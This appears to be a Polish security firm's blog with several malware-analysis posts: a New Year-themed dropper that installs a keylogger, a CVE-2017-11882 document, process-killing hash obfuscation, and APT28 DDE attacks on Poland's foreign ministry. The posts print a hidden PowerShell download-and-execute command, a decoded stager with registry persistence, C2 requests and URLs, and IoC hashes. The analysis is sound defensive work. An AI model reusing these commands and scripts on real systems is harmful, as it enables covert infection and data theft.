niedziela, 18 marca 2018

Happy New Year wishes from China

At the end of January 2018 one of government agencies in Poland received an email with new year’s wishes from one of Chinese government agency. The content of the email is definitely suspicious so we decided to perform deeper analysis of this attempt of attack.

First of all we have to understand an email header. The received entries are the most important part of email because received lines contain a list of all hosts through which the message travelled. We can notice that the real source IP address of sender is So probably the misconfiguration of one of Chinese server permitted to spoof an email address of a sender.

Received: from WIN-RME55NNMJCN (unknown [])
    by mail1.*** (c) with ESMTPA id 68AA921190
    for <***>; Wed, 31 Jan 2018 09:54:39 +0800 (HKT)

The next step was to analyse attached rar archive file. It was composed only of one file named Happy 2018.scr. After execution we can see a nice picture with wishes (presented at the beginning of this article).
JPG file is stored in a resource section .rsrc of the scr file. Malware often stores an embedded program or configuration ata in this section. API function names were obfuscated but finally we noticed that to handle resource objects the following API calls were used: FreeResource(), LockResource(), LoadResource(), FindResourceA(), SizeOfResource().

In the same time malware reads SYSTEM\CurrentControlSet\Services\disk\Enum registry key. It is known trick to detect virtual machines.

By using LoadLibraryA() and GetProcAddress() APIs other API functions are resolved: OpenServiceA(), StartServiceA(), OpenSCManagerA(), QueryServiceStatus(), ControlService(), CloseServiceHandle(), CreateServiceA(), RegOpenKeyExA(), RegCloseKey(), RegSetValueExA(), RegQueryValueA(), RegCreateKeyA(), RegEnumValueA().
If malware does not detect virtual machine, new service will be installed. The service name is Avriax with description Multiple defender service with one windows service. The following execution command is added to Windows registers: %SystemRoot%\system32\svchost -k Avriax. A dll file is a second stage malware. It is copied from BIN resource section of scr file. This file is encrypted by using RC4 algorithm with passphrase “ULoveVas”. After installation the service is started immediately.

00402A97  |. FF15 70504000  CALL DWORD PTR DS:[405070]               ;  ADVAPI32.OpenSCManagerA
00402A9D  |. 8BF8           MOV EDI,EAX
00402A9F  |. 85FF           TEST EDI,EDI
00402AA1  |. 74 32          JE SHORT Happy_20.00402AD5
00402AA3  |. 8B4424 08      MOV EAX,DWORD PTR SS:[ESP+8]
00402AA7  |. 56             PUSH ESI
00402AA8  |. 68 10000100    PUSH 10010
00402AAD  |. 50             PUSH EAX
00402AAE  |. 57             PUSH EDI
00402AAF  |. FF15 74504000  CALL DWORD PTR DS:[405074]               ;  ADVAPI32.OpenServiceA
00402AB5  |. 8BF0           MOV ESI,EAX
00402AB7  |. 85F6           TEST ESI,ESI
00402AB9  |. 74 12          JE SHORT Happy_20.00402ACD
00402ABB  |. 6A 00          PUSH 0
00402ABD  |. 6A 00          PUSH 0
00402ABF  |. 56             PUSH ESI
00402AC0  |. FF15 80504000  CALL DWORD PTR DS:[405080]               ;  ADVAPI32.StartServiceA

Malware connects to C&C server and downloads another file - 30_1.exe. has the same IP address

GET /session/manager?mode=0&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename="robots.txt"
Content-Type: application/x-msdownload
Content-Length: 10
Date: Wed, 31 Jan 2018 18:29:18 GMT

GET /session/manager?mode=30_1.exe&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cache-Control: no-cache

Downloaded file is also encrypted by using RC4 algorithm. The passphrase is “Higaisakora.0”. After decrypting executable file is executed by using CreateProcessA() API from the following location C:\Windows\TEMP directory. All strings in this file are encoded. The decoding instructions are presented below:

On below example we can see another decoded window service name. The second service will be installed by new malware file.

The functionality of exe file is easily identified by looking at decoded API names.

Executable file contains also new resource – one more dll file. This time malicious dll library is not encrypted. We can use CFF Explorer to extract new library.

The dll file is store in C:\Users\<username>\AppData\Roaming\System\hpptx386.dll and new service named HP Printer Software is created. This is the last stage of infection.
DLL file is a keylogger. All data are stored in Info.dat file and send to C&C host [IP:].There are several methods of implementing keyloggers in Windows. Method used in described example is based on GetAsyncKeyState() and GetKeyState(). Mentioned functions are used to query the status of all keys.

Basic IoC are listed below:
  • (Happy 2018 .scr) SHA1: 511F7BC170C596AD1A26D616359A78851EB7881B
  • (Avriax32.dll) SHA1: 2FB33BF79BCACA2445F66769C5261037C2EF92E2
  • (30_1.exe - encrypted) SHA1: 82BAC0B378285F914C518F39F54DA3E4A7A54588
  • (decrypted) SHA1: F372CE319060F103714D0F8897F846452786BB31
  • (hpptx386.dll) SHA1: 83B995717F82F97D3A65C7E6FBFB59908EEDE811

sobota, 13 stycznia 2018

An example of static analysis of an APT malware

This article describes how to perform static analysis of suspicious file with use of a few tools like Oletools, IDA and RetDec.

Few weeks ago, an email with suspicious attachment had been sent to one of government agency in Poland. The attached file name is BG Presidency Draft Calendar-Final.doc.

SHA1 of the doc file is: 601367EED1DDC8473F99CAAA4E2673C13E5D30D7

The first step is to verify the content of the doc file. One of the tool which we usually use at Prevenity is Oletools. It is a package of python tools to analyse Microsoft OLE2 files.

The RTFOBJ tool extracted for us ole objects. One of it (#2) contains command cMD /c rundll32 “%temp%\osk.exe”,Start. Now, we know that the entry point is the Start function from the osk.exe file (dll file).
We can also notice that class name for this object is Equation.3. The part of dumped object is presented below.

The exploit (CVE-2017-11882) used in this doc file is related to the executable module EQNDT32.EXE (Microsoft Equation Editor). 

Note: We can easily confirm that Equation editor was used by analysing output from process monitor.

Let's come back to static analysis. The another OLE object (#0) is executable file, but it is the dll – not the exe file.

SHA1 of extracted dll file: D9276ED0D9370CE08970F869591E93185D3D022C

A few weeks ago Avast did great job by sharing the source code of the RetDec decompiler. Let’s use it to perform the initial analysis of our PE binary file. 

The first interesting notice is that the malware tries to hide communication with C&C by using COM technology. The COM allows malware developers to start and perform http communication with use of iexplore.exe process where the session is hidden. The malware  is using a few interesting functions: CoInitialize() and CoCreateInstance(). The first is used to initialize the COM library. The second function is used to create an object of the class associated with a specified CLSID.

The registry value confirms that malware creates an instance of Internet Explorer.
The malware collects and then sends in HTTP GET to C&C server some basic information about an infected host like hostname, username and operating system type. This data are encrypted by using simple formula. Subtract 0x41 from current letter and XOR with counter. 

Then such encrypted data are coded by Base64. The RetDec in comment provided information about identified base64 function.

The response from C&C server contains in body message a value parameter. The value of this parameter contains encrypted data (commands to execute) which must be decrypted by below code.

In next step malware tries to find the following characters „~~”. In this way commands from C&C server are extracted. Next few instructions are responsible for checking if command id contains only numbers between 0-9 and space as a separator.

We can identify few conditions which redirect code to execute commands, read files, delete files. All content sent to C&C server is encrypted by session symetric key.

One of the feature is executing commands at compromised machines. The results are stores in fw1ei.tmp file. 

As we can see wsprintfA() is used to prepare a final command. The first parameter of wsprintfA() is located a few lines above:

*(char *)(v3 | 2) = *(char *)((int32_t)"Cm" + 2);

By concatenating „Cm”  with „D” malware builds command cmd and add destination executable file name received from C&C server.

Depending on command the result is sent to one of below URLs:
  • http://%s/view.aspx?li=%s
  • http://%s/post.aspx?fs=%s
  • http://%s/li.aspx?id=%s
  • http://%s/query.aspx?q=%s

Some IoC are presented below:

C&C server:
IP address:
Created files:
  • C:\Users\<username>\AppData\Roaming\mozilla\mozlib.dll
  • C:\Users\<username>\AppDadta\Local\Temp\Microsoft Office Update.lnk with content: C:\Windows\system32\rundll32.exe C:\Users\IEUser\AppData\Roaming\mozilla\mozlib.dll,Start
SHA1 Hash values:
  • 601367EED1DDC8473F99CAAA4E2673C13E5D30D7
  • D9276ED0D9370CE08970F869591E93185D3D022C

External links:

sobota, 18 listopada 2017

Obfuskacja nazw w złośliwym oprogramowaniu

Poniżej opisujemy jedną z metod ukrywania ciągów znaków przez złośliwe oprogramowanie. Bazuje ona na generowaniu wartości hash i porównywaniu z własną bazą. Dzięki temu nigdy w pamięci procesu nie będą ujawniane wszystkie informacje o działaniu złośliwego kodu.
Jakiś czas temu otrzymaliśmy próbkę złośliwego oprogramowania, która sprawiała pewne problemy w analizie dynamicznej. Szybko okazało się, że przy uruchomionych narzędziach do dynamicznej analizy złośliwe oprogramowanie wyłączało je.

Funkcja terminująca proces jest poniżej:

void _killProcess (int arg0) {
esp = esp - 0x4 - 0x4 - 0x4 - 0x4;
esi = (*kernel32.OpenProcess)(0x1, 0x0, arg_1, esi, arg0);
  if (esi != 0x0) {
   (*kernel32.TerminateProcess)(esi, 0x0);
   stack[2041] = esi;
   esp = esp - 0x4 - 0x4 - 0x4;

Na poniższym zrzucie ekranu można zauważyć, że złośliwe oprogramowanie pobiera między innymi informacje o uruchomionych procesach i nazwach okien.

Są to jedne z prostszych metod wykrywania uruchomionych aplikacji (np. programów AV) na infekowanej stacji roboczej, niemniej w tym przypadku okazało się, że nigdzie w kodzie malware nie ma nazw z którymi porównywane są na przykład nazwy uruchomionych procesów. Twórcy malware w tym konkretnym przypadku zastosowali funkcje haszującą nazwy. W kodzie zapisali wyłącznie wartości hash.
Chcieliśmy poznać nazwy wszystkich procesów, które są wyłączone przez malware.
Stwierdziliśmy, że najprościej będzie napisać narzędzie: generujące wszystkie możliwe nazwy, tworzące hash a następnie porównujące wynik z wartościami hash znajdującymi się w złośliwym kodzie.
Funkcję generującą hash oraz funkcję porównującą wartości hash przekopiowaliśmy z kodu złośliwego oprogramowania.
Funkcja do generacji wartości hash jest poniżej. Przyjmuje dwa argumenty: wskaźnik do tablicy z ciągiem znaków oraz długość ciągu znaków. W celu zwrócenia wartości hash utworzyliśmy stałą x w funkcji. Wiedząc gdzie jest ona przechowywana na stosie podmieniliśmy wartość z 0 na wartość hash, która ma dokładnie długość 32 bitów. Return x zwraca nam zawartość utworzonego hash.

int hash(char *, int) {
int x = 0;
__asm {

   XOR EAX, EAX //zeruj rejestr
   MOV ECX, [EBP + 0xC] //ilość znaków – licznik dla instrukcji LOOP
   MOV EDX, [EBP + 8] //adres początku tablicy z nazwą

   MOVZX EBX, [EDX] //wczytaj pierwszą literę
   AND BL, 0x0df //operacja logiczna AND na pierwszym znaku
   XOR AH, BL //operacja logiczna XOR
   ROL EAX, 8 //przesunięcie w lewo o 1 bajt
   XOR AL, AH //operacja logiczna
   INC EDX //przesuń na kolejną literę
   LOOP loop1
   MOV [EBP - 4], eax; //nadpisz wartość x

return x;

Podobnie zrobiliśmy z funkcją porównującą wartości hash. Funkcja przyjmuje dwie wartości: wskaźnik do tablicy (przekopiowanej z sekcji danych złośliwego kodu – są to wartości hash z nazw procesów które mają być wykrywane i wyłączane) oraz wartość hash (wynik zwracany przez naszą funkcje hash()).

unsigned char tablica[48] = { 0x05,0x1D,0x4A,0x0B,0x02,0x5C,0x19,0x19,0x1D,0x04,0x0E,0x1C,0x0B,0x5D,0x18,0x06,0x0A,0x12,0x07,0x1D,0x18,0x51,0x0B,0x06,0x0D,0x1E,0x0E,0x55,0x47,0x5C,0x56,0x51,0x14,0x4C,0x11,0x04,0x04,0x5C,0x4E,0x5F,0x12,0x5A,0x58,0x14,0x14,0x5C,0x5E,0x14 };

int compare(char *, int) {
int x = 0;
__asm {
   MOV ECX, [EBP + 8] //wczytanie adresu tablicy
   MOV EBX, [EBP + 0x10] //wczytanie wartości hash
   CMP [ECX+EAX], EBX //porównanie wartości hash z tablicą
   JE exit2
   ADD EAX, 0x4 //przesuwamy się o 4 bajty
   CMP EAX, 0x30 //wielkość tablicy
   JB loop2
   MOV[EBP - 4], 0x00000030 //zapisujemy np. 0x30 gdy hash nie istnieje
   JMP exit1

   MOV [EBP-4], 0x00000031 //inna wartośc np. 0x31 gdy hash istnieje

return x;


Ostatnim elementem było napisanie funkcji generującej metodą brute-force nazwy procesów czy okien. Ograniczyliśmy długość nazw od 6 znaków do 20. Szybko się jednak okazało, że mamy bardzo dużo kolizji i generowanie wartości hash dla każdego wygenerowanego ciągu znaków jest bez sensu. Związane jest to z tym, że algorytm generujący wartości hash jest bardzo prosty. Dla przykładu ciągi znaków cycdy6.exe czy c8u59f.exe mają tą samą wartość hash równą 0x19195c02.
Stworzenie listy najbardziej popularnych narzędzi do analizy jest dużo lepszym pomysłem. I tak dla przykładu hash 0x19195c02 to proces procexp.exe a np. 0x6185d0b to procmon.exe

Analizowany malware ma następujące wartości MD5 i SHA1:
SHA1: BAB30F8093A10A933FC75555F496B6BCB9D031A7
MD5: 98c81e23b7e6fb6ce3525b2fc7821561

piątek, 3 listopada 2017

Ataki teleinformatyczne na Ministerstwo Spraw Zagranicznych – jesień 2017

W ciągu ostatnich tygodni dwukrotnie otrzymywaliśmy informacje od zespołu reagowania na incydenty komputerowe MSZ o nieudanych próbach uzyskania dostępu do stacji roboczych użytkowników. Pierwsza próba przeprowadzona została 18 października, kolejna 1 listopada. Obie zostały przeprowadzone przez grupę APT28 (Sofacy/Fancy Bear) o której już kilkakrotnie pisaliśmy na naszym blogu.

W obu przypadkach do wiadomości email dołączany był dokument w formacie MS WORD. Poniżej przykład:

Według naszej wiedzy obie zostały skutecznie zablokowane. Porównując ostatnie próby z poprzednimi kampaniami można zauważyć zmiany w sposobie działania. Po pierwsze czas od pojawienia się poprawki na Adobe Flash a wykorzystania podatności został znacznie skrócony (2 dni). W ostatniej kampanii została użyta nowa metoda dostarczania złośliwego kodu (DDE) już bez użycia podatności ani makr. Zostały też zastosowane inne mechanizmy dodawania do autostartu. 

Pierwszy dokument (18 październik 2017):
Nazwa: World War III-ND.docx
SHA1: 7AADA8BCC0D1AB8FFB1F0FAE4757789C6F5546A3

Po uruchomieniu na ekranie pojawi się następująca treść:

Plik zawiera złośliwy kod wykorzystujący błąd we flash CVE-2017-11292. Opis tego pliku można znaleźć tutaj [1].

Drugi dokument (1 listopad 2017):
Nazwa: SaberGuardian2017.docx
SHA1: 64A8B9F327578DEF69EEA8DFAAD25400C2E644A2

Po uruchomieniu na ekranie pojawi się informacja o problemach z otwarciem pliku. Intruzi w tym ataku nie wykorzystali żadnej podatności ani makra a jedynie technikę polegającą na zastosowaniu protokołu DDE (Dynamic Data Exchange), który służy do wymiany danych pomiędzy aplikacjami w środowisko Windows.

Gdy wybierzemy OK pojawi się kolejny komunikat informujący o możliwości odzyskania innej zawartości pliku.

Automatycznie pobierany jest kolejny plik w formacie MS WORD (o identycznej nazwie).  Poniżej zawartość pliku webSettings.xml.rels z pierwszego dokumentu.

Następnie pojawia się pytanie, czy chcemy uruchomić aplikację C:\Programs\Microsoft\Office\MSWord.exe. Drugi plik (pobrany dokument) zawiera komendę uruchamiającą skrypt PowerShell (plik źródłowy document.xml).

Uruchamiana komenda:

"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('');powershell -enc $e # " "a slow internet connection" "try again later"

Następnie pobierany jest z serwera zakodowany skrypt.

Na ekranie użytkownikowi zostanie wyświetlony następujący komunikat:

Zawartość skryptu po odkodowaniu:

$W=New-Object System.Net.WebClient;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
if (Test-Path $p){
$pr=Start-Process $rd_p -ArgumentList $p_a;
$text='set inst_pck = "%ALLUSERSPROFILE%\mvdrt.dll"'+"`r`n"+'if NOT exist %inst_pck % (exit)'+"`r`n"+'start rundll32.exe %inst_pck %,#1'
New-Item -Path 'HKCU:\Environment' -Force | Out-Null;
New-ItemProperty -Path 'HKCU:\Environment' -Name 'UserInitMprLogonScript' -Value "$p_bat" -PropertyType String -Force | Out-Null;

Tym razem pobierana jest biblioteka DLL zawierająca złośliwe oprogramowanie, tworzony jest plik mvdrt.bat a następnie jest on uruchamiany. Tworzony jest również klucz rejestru UserInitMprLogonScript umożliwiający automatyczny start skryptu.

Zawartość pliku C:\ProgramData\mvdrt.bat:

set inst_pck = "%ALLUSERSPROFILE%\mvdrt.dll"
if NOT exist %inst_pck % (exit)
start rundll32.exe %inst_pck %,#1

Biblioteka DLL podobnie jak we wcześniejszych atakach ma na celu ułatwienie intruzom określenie wartości zaatakowanej stacji roboczej i sprawdzenie czy faktycznie uzyskał dostęp do stacji roboczej pracownika atakowanej instytucji a nie np. systemu sandbox.

W pierwszej kolejności zbierane i wysyłane są informacje o zainfekowanym komputerze. Są to następujące dane:
  • Informacje o uruchomionych procesach
  • Informacje o interfejsach sieciowych
  • Informacje o dyskach 
Poniżej fragment wysyłanych danych:

Dane przed wysłaniem są szyfrowane za pomocą klucza 0xE221FA96 a następnie kodowanie base64.
Większość nazw funkcji, bibliotek czy komend jest przechowywana w pliku DLL w formie zaszyfrowanej. Główna funkcja odkodowująca umieszczona jest poniżej:

.text:100030F5 loc_100030F5: ; CODE XREF: sub_100030D1+47
.text:100030F5 lea ecx, [eax+esi]
.text:100030F8 mov [ebp+var_4], 0Eh
.text:100030FF xor edx, edx
.text:10003101 div [ebp+var_4]
.text:10003104 mov al, ds:byte_100071B4[edx]
.text:1000310A xor al, [edi+ecx]
.text:1000310D mov [ecx], al
.text:1000310F mov eax, [ebp+arg_4]
.text:10003112 inc eax
.text:10003113 mov [ebp+arg_4], eax
.text:10003116 cmp eax, ebx
.text:10003118 jl short loc_100030F5
.text:1000311A pop edi

Do serwera C&C przesyłane są również zrzuty z ekranu (jako zaszyfrowane jpeg).

Nazwy serwerów C&C powiązanych z atakiem:

Funkcje skrótu analizowanych plików:
Nazwa: World War III-ND.docx
SHA1: 7AADA8BCC0D1AB8FFB1F0FAE4757789C6F5546A3
Nazwa: SaberGuardian2017.docx
SHA1: 64A8B9F327578DEF69EEA8DFAAD25400C2E644A2
MD5 (1 plik):  c6ef573abdec611645a23e48fe83158b
MD5 (2 plik): 34dc9a69f33ba93e631cd5048d9f2624
Nazwa: eh.dll
SHA1: AB354807E687993FBEB1B325EB6E4AB38D428A1E
MD5: 1c6f8eba504f2f429abf362626545c79
Nazwa: activeX1.bin
SHA1: 8C0E8619ED6DFB9E6F6F3B06A0CA19E276E3BC75